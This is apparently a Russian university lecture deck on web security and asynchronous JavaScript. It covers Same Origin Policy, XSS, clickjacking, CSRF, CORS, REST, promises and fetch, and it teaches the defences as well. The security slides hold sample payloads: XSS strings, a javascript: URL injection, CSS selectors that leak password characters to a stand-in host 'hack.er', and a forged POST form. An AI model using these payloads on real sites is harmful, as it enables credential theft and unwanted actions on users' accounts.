Технопарк, весна, 2019 г.
Правило ограничения домена (Same Origin Policy — «Принцип одинакового источника» a.k.a. «Политика единого источника») — это важная концепция безопасности и работы web-приложений. Она призвана ограничивать возможности пользовательских сценариев из определённого источника по доступу к ресурсам и информации из других источников
Вводится понятие источника (адрес в интернете, откуда был загружен ресурс). Два URL считаются имеющим один источник («same origin»), если у них одинаковый протокол, домен и порт
У этих ресурсов одинаковые источники:
http://site.com
http://site.com/
http://site.com/my/page.html
У этих ресурсов разные источники:
http://site.com
http://www.site.com
(другой домен)http://site.org
(другой домен)https://site.com
(другой протокол)http://site.com:8080
(другой порт)Любой способ взаимодействия с ресурсами в web-приложениях можно отнести к одной из трёх категорий:
<script src="..."></script>
<link rel="stylesheet" href="...">
<img>
, media files with <video>
and <audio>
<object>
, <embed>
and <applet>
Cross-Site Scripting — атака, заключающаяся во внедрении на страницу вредоносного кода, который будет выполнен в контексте источника конкретного сайта с целью обхода политик единого источника, и взаимодействии этого кода с веб-сервером злоумышленника
С помощью XSS злоумышленник может украсть из браузера пользователя sensitive-данные (например, cookies с ID сессии пользователя, приватные данные пользователя или данные из форм), может выполнить от имени пользователя различные действия или, например, провести DOS-атаку
<?php
$name = $_REQUEST ['name'];
?>
<html>
<head><title>Портал Технопарка</title></head>
<body>
Hello, <?php echo $name; ?>!
</body>
</html>
const html = '<script>alert("XSS")</script>';
const link =
'https://park.mail.ru/?name=' + encodeURIComponent(html);
console.log(link);
// https://park.mail.ru/?name=%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E
const response = http.get('/message');
const messageText = response.content;
const chat = document.getElementById('chat');
chat.innerHTML += messageText;
// так не сработает
chat.innerHTML += `
</div><script>alert("XSS")</script>
`;
// а вот так - получится
chat.innerHTML += `
</div><img src="/404.png" onerror="alert('XSS')">
`;
// делаем сайт с oauth-авторизацией
const backRedirectUrl =
new URLSearchParams(window.location.search).get('back');
const link = document.createElement('a');
link.textContent = 'Click Me!';
link.href = backRedirectUrl;
document.appendChild(link);
// находимся на
// https://park.mail.ru/?back=javascript%3Aalert%28%27XSS%27%29%3B
const backRedirectUrl = // "javascript:alert('XSS');"
new URLSearchParams(window.location.search).get('back');
const link = document.createElement('a');
link.href = backRedirectUrl;
// <a href="javascript:alert('XSS');">Click Me!<a>
const avatarUrl = http.get('/me').avatarUrl;
const styleContent = `
`#avatar {`
` background: url(${avatarUrl});`
`}`
`;
const style = document.createElement('style');
style.textContent = styleContent;
document.appendChild(style);
const avatarUrl = http.get('/me').avatarUrl;
console.log(avatarUrl); -> `);}`
[type=password][value^='a'] { background-image: url(https://hack.er/a); }
[type=password][value^='b'] { background-image: url(https://hack.er/b); }
[type=password][value^='c'] { background-image: url(https://hack.er/c); }
[type=password][value^='d'] { background-image: url(https://hack.er/d); }
[type=password][value^='e'] { background-image: url(https://hack.er/e); }
`abc { background: url(`
#avatar {
background: url();}
[type=password][value^='a'] { background-image: url(https://hack.er/a); }
[type=password][value^='b'] { background-image: url(https://hack.er/b); }
[type=password][value^='c'] { background-image: url(https://hack.er/c); }
[type=password][value^='d'] { background-image: url(https://hack.er/d); }
[type=password][value^='e'] { background-image: url(https://hack.er/e); }
div { background: url();
}
#avatar {
background: url();}
[type=password][value^='a'] { background-image: url(https://hack.er/a); }
[type=password][value^='b'] { background-image: url(https://hack.er/b); }
[type=password][value^='c'] { background-image: url(https://hack.er/c); }
[type=password][value^='d'] { background-image: url(https://hack.er/d); }
[type=password][value^='e'] { background-image: url(https://hack.er/e); }
div { background: url();
}
<iframe>
Элемент
<iframe>
создаёт фрейм — область заданных размеров, которая находится внутри обычного документа, в которую можно загружать любые другие независимые документы
<iframe>
<iframe src="https://www.w3.org/" width="900" height="500">
Атака Clickjacking — механизм обмана пользователей, при котором злоумышленник может получить доступ к конфиденциальной информации или даже заставить пользователя выполнить определённые действия, заманив его на внешне безобидную страницу или внедрив вредоносный код на безопасную страницу
opacity: 0;
и позиционируем под курсором пользователяИспользуем заголовок X-Frame-Options
:
X-Frame-Options: DENY
— запрещает открывать сайт внутри iframeX-Frame-Options: SAMEORIGIN
— разрешает открывать сайт внутри iframe на страницах с тем же самым originX-Frame-Options: ALLOW-FROM https://example.com/
— разрешает открывать сайт внутри iframe на страницах с указанным originУ элемента iframe
есть свойства, позволяющие получить доступ до содержимого страницы:
iframe.contentWindow
— ссылка на window
страницы,iframe
iframe.contentWindow.document
— ссылка на document
страницы, загруженной в iframe
window.parent
— внутри iframe
ссылается на родительский документwindow.top
— внутри iframe
ссылается самый верхний родительский элемент (в случае iframe в iframe)iframe
всегда накладываются ограничения, диктуемые iframe
загружен ресурс с другим Origin, то эти две страницы не имеют доступа друг до друга через iframe.contentWindow
и window.parent
window.parent.location
разрешена, а чтение — запрещеноiframe
есть атрибут sandbox
с возможными значениями: allow-same-origin
, allow-top-navigation
, allow-forms
, allow-scripts
Присваивая в document.domain
одинаковые значения, можно разрешить страницам с разных поддоменов общение друг с другом через iframe напрямую
// на странице https://park.mail.ru/
document.domain; // 'park.mail.ru'
document.domain = 'mail.ru'; // success
document.domain = 'e.mail.ru'; // error
document.domain = 'google.com'; // error
// на странице https://e.mail.ru/
document.domain = 'mail.ru'; // success
otherWindow.postMessage(message, targetOrigin);
// otherWindow - любой объект класса Window
// - текущий window
// - полученный через вызов window.open()
// - полученный через iframe.contentWindow или window.parent
// targetOrigin - origin ресурсов, которые получат сообщения
// можно указать wildcard: '*'
window.addEventListeners('message', function (event) {
console.log(event.data); // присланные данные
console.log(event.origin); // origin, из которого пришло сообщение
console.log(event.source); // ссылка на окно-отправитель сообщения
});
<form action="https://e.mail.ru/api/v1/messages/send" method="POST">
<input name="message" value="Evil message">
<!-- ... -->
</form>
submit()
у формыhttps://e.mail.ru/api/v1/messages/send
Cookies позволяют проверить, кто отправил определённый запрос, но они ничего не говорят о данных этого запроса
Браузеры не понимают, как различить, было ли действие явно совершено пользователем (как, скажем, нажатие кнопки на форме или переход по ссылке) или пользователь неумышленно выполнил это действие (зайдя на "плохой" сайт)
X-CSRF-Token
сервер передаёт на клиент token — случайную строку, и клиент сохраняет её у себя в какой-то переменной, но не в cookiesCross-Origin Resource Sharing (CORS) standard — спецификация, позволяющая обойти ограничения, которые Same Origin Policy накладывает на кросс-доменные запросы
// Находимся на https://evil.com/
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
xhr.send();
console.log(xhr.responseText)
Простыми считаются запросы, если они удовлетворяют следующим двум условиям:
Accept
Accept-Language
Content-Language
Content-Type
application/x-www-form-urlencoded
multipart/form-data
text/plain
GET /data HTTP/1.1
Host: e.mail.ru
Origin: http://frontend.tech-mail.ru
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: http://frontend.tech-mail.ru
// Access-Control-Allow-Origin: *
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: http://frontend.tech-mail.ru
...
X-UID: 42
X-Secret: 2c9de507f2c54aa1
Access-Control-Expose-Headers: X-Uid, X-Authentication
const xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open('GET', 'https://e.mail.ru/messages/inbox/', false);
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: domain // '*' запрещено
Access-Control-Allow-Credentials: true
Остальные запросы считаются
"непростыми"
, и при отправке таких запросов необходимо понять, согласен ли сервер на обработку таких запросов. Эти запросы
всегда отсылаются со специальным заголовком Origin
При отправке "непростого" запроса, браузер сделает на самом деле два HTTP-запроса.
Access-Control-Request-Method
,
а если добавлены особые заголовки, то и их тоже — в Access-Control-Request-Headers
.
Origin
Ответ на предзапрос может содержать следующие заголовки
HTTP/1.1 200 OK
Content-Type: text/plain
Access-Control-Allow-Methods: DELETE, PUT, HEAD, OPTIONS, GET, POST
Access-Control-Allow-Headers: Content-Type, User-Agent ...
... X-Requested-With, If-Modified-Since, Cache-Control
Access-Control-Max-Age: 86400
API (application programming interface, интерфейс программирования приложений) — набор готовых классов, процедур, функций, структур и констант, предоставляемых приложением (библиотекой, сервисом) или операционной системой для использования во внешних программных продуктах. Используется программистами при написании всевозможных приложений
API определяет функциональность , которую предоставляет программа (модуль, библиотека), при этом API позволяет абстрагироваться от того, как именно эта функциональность реализована
Web API — используется в веб-разработке, как правило, определённый набор HTTP-запросов, а также определение структуры HTTP-ответов, для выражения которых используют XML или JSON форматы
Сема́нтика — раздел лингвистики, изучающий смысловое значение единиц языка
– Работодатель: Назовите вашу главную слабость
– Кандидат: Я даю
семантически
корректные, но практически неприменимые ответы на вопросы
– Работодатель: Могли бы вы привести пример?
– Кандидат: Да, мог бы
CRUD (create, read, update, delete) — акроним, обозначающий четыре базовые функции, используемые при работе с персистентными хранилищами данных, описывает семантику методов HTTP
REST (в применении к именованию ресурсов) — набор методик и практик, которые используются для именования ресурсов, с которыми работает система
Все типы ресурсов делятся на две категории:
Коллекция книг (books):
/books
/books/2-266-11156-6
/books/3-720-55486-7
/books/1-054-55901-2
Коллекция пользователей (users):
/users
/users/id2
/users/id432
/users/id1211177181
Получение всех книг
GET /books HTTP/1.1
Host: awesome.com
Получение конкретной книги
GET /books/3-720-55486-7 HTTP/1.1
Host: awesome.com
Удаление конкретной книги
DELETE /books/3-720-55486-7 HTTP/1.1
Host: awesome.com
http.get('/user', function (err, user) {
if (err) {
console.error(err);
return;
}
console.log('User is', user);
});
console.log('Waiting...');
http.post('/signup', user, function (err, resp1) {
if (err) { return console.error(err); }
http.get(`/users/${resp1.id}`, function (err, resp2) {
if (err) { return console.error(err); }
http.get(`/photos/${resp2.avatarId}`, function (err, avatar) {
if (err) { return console.error(err); }
// ... callback hell!
});
});
});
http.post('/signup', user, onSignup);
function onSignup (err, resp1) {
if (err) { return console.error(err); }
http.get(`/users/${resp1.id}`, onLoadUser);
}
function onLoadUser (err, resp2) {
if (err) { return console.error(err); }
http.get(`/photos/${resp2.avatarId}`, onLoadAvatar);
}
try {
// Выбрасываем исключение вручную
throw 'Ooops!';
} catch (err) {
alert(err); // Привет, я ошибка!
}
try {
http.get('/user', function (err) {
if (err) {
throw err;
}
console.log('User is', user);
});
} catch (err) {
alert(err); // Не выполнится
}
const callback = function (err) {
if (err) {
throw err;
}
console.log('User is', user);
};
try {
http.get('/user', callback);
} catch (err) {
alert(err); // Не выполнится
}
Термин promise был предложен в 1976 году Дэниэлом Фридманом и Дэвидом Вайзом, а Питер Хиббард назвал его eventual. Похожая концепция под названием future была предложена в 1977 году в статье Генри Бейкера и Карла Хьюитта
Promise (обещание) — представляет собой обертку для значения, неизвестного на момент создания обещания
Он позволяет обрабатывать результаты асинхронных операций так, как если бы они были синхронными: вместо конечного результата асинхронного метода возвращается обещание получить результат в некоторый момент в будущем
Promises (промисы) — это специальные объекты, которые могут находиться в одном из трёх состояний:
- вначале pending («ожидание»)
- затем либо fulfilled («выполнено успешно»)
- либо rejected («выполнено с ошибкой»)
const promise = new Promise(function(resolve, reject) {
// Здесь можно выполнять любые действия
// вызов resolve(result) переведёт промис в состояние fulfilled
// вызов reject(error) переведёт промис в состояние rejected
});
// Можно создать сразу "готовый" промис
const fulfilled = Promise.resolve(result);
// const fulfilled = new Promise((resolve, _) => resolve(result));
const rejected = Promise.reject(error);
// const rejected = new Promise((_, reject) => reject(error));
Основной способ взаимодействия с промисом это регистрация функций обратного вызова для получения конечного результата промиса или сообщения о причине, по которой он не был выполнен. Иными словами, на промисы можно навесить два коллбека:
onFulfilled
— срабатывают, когда promise находится в состоянии «выполнен успешно»onRejected
— срабатывают, когда promise находится в состоянии «выполнен с ошибкой»const promise = new Promise( ... );
// Можно навесить их одновременно
promise.then(onFulfilled, onRejected);
// Можно по отдельности
// Только обработчик onFulfilled
promise.then(onFulfilled);
// Только обработчик onRejected
promise.then(null, onRejected);
promise.catch(onRejected); // Или так
const promise = new Promise(function(resolve, reject) {
// do smth
resolve('success'); // or
// reject(new Error('failure'));
});
promise
.then(res => console.log(res))
.catch(err => console.error(err));
// 'cb1 success', 'cb2 success'
const promise = Promise.resolve('success');
promise.then(res => { console.log('cb1', res); }); // 1
promise.then(res => { console.log('cb2', res); }); // 2
// 'value 1', 'value 2', 'value 3'
const promise = Promise.resolve('value 1');
const p2 = promise
.then(res => { console.log(res); return 'value 2'; }) // 1
.then(res => { console.log(res); return 'value 3'; }) // 2
.then(res => { console.log(res); }); // 3
p2 === promise // false
// 'value 1', 'Error!', 'Error catched!'
const promise = Promise.resolve('value 1');
promise
.then(res => { console.log(res); throw 'Error!'; }) // 1
.then(res => { console.log('foo'); })
.then(res => { console.log('bar'); })
.then(res => { console.log('baz'); })
.catch(err => { console.error(err); return 'Error catched!'; }) // 2
.then(res => { console.log(res); }); // 3
// 'foo', 'baz', 'bar', 'foobar'
const promise1 = Promise.resolve('foo')
.then(res => { console.log(res); return 'bar'; }); // foo
const promise2 = Promise.resolve('baz')
.then(res => { console.log(res); return promise1; }) // baz
.then(res => { console.log(res); return 'foobar'; }) // bar
.then(res => { console.log(res); }); // foobar
Оборачивание асинхронного функционала в функцию, возвращающую промис
function PromiseGet(url) {
return new Promise(function (resolve, reject) {
http.Get(url, function (err, response) {
if (err) { reject(err) }
resolve(response);
});
});
}
http.post('/signup', user, function (err, resp1) {
if (err) { return console.error(err); }
http.get(`/users/${resp1.id}`, function (err, resp2) {
if (err) { return console.error(err); }
http.get(`/photos/${resp2.avatarId}`, function (err, avatar) {
if (err) { return console.error(err); }
// ... callback hell!
});
});
});
PromisePost('/signup', user)
.then(resp1 => PromiseGet(`/users/${resp1.id}`))
.then(resp2 => PromiseGet(`/photos/${resp2.avatarId}`))
.then(avatar => { ... })
.catch(err => console.error(err));
Promise.all
// Делаем что-нибудь асинхронное и важное параллельно
Promise.all([
PromiseGet('/user/1'),
PromiseGet('/user/2'),
]).then(function(users) {
// Результатом станет массив из значений всех промисов
users.forEach(function(user, i) {
console.log(`User #${i}: ${value}`);
});
});
Promise.race
// Делаем что-нибудь асинхронное и важное наперегонки!
Promise.race([
promiseSomething(),
promiseSomethingElse()
]).then(function(result) {
// Результатом станет значение самого "быстрого" промиса
console.log(`Result: ${value}`);
});
Метод fetch — это XMLHttpRequest нового поколения. Он предоставляет улучшенный интерфейс для осуществления запросов к серверу: как по части возможностей и контроля над происходящим, так и по синтаксису, так как построен на промисах
// Синтаксис метода fetch:
const fetchPromise = fetch(url[, options]);
method
— метод запросаheaders
— заголовки запроса (объект)body
— тело запроса: FormData
, Blob
, строка и т.п.mode
— одно из: «same-origin», «no-cors», «cors», указывает, в каком режиме кросс-доменности предполагается делать запросcredentials
— одно из: «omit», «same-origin», «include», указывает, пересылать ли куки и заголовки авторизации вместе с запросомcache
— одно из «default», «no-store», «reload», «no-cache», «force-cache», «only-if-cached», указывает, как кешировать запросfetch('/books', {
method: 'POST',
mode: 'cors',
credentials: 'include',
data: JSON.stringify({
title: 'Изучение Фронтенда',
authors: [
'Анатолий Остапенко', 'Дмитрий Дорофеев',
'Сергей Володин', 'Алексей Тюльдюков'
]
})
});
fetch('/books', {
method: 'POST',
mode: 'cors',
credentials: 'include',
data: JSON.stringify({
title: 'Изучение Фронтенда',
authors: [
'Анатолий Остапенко', 'Дмитрий Дорофеев',
'Сергей Володин', 'Алексей Тюльдюков'
]
})
});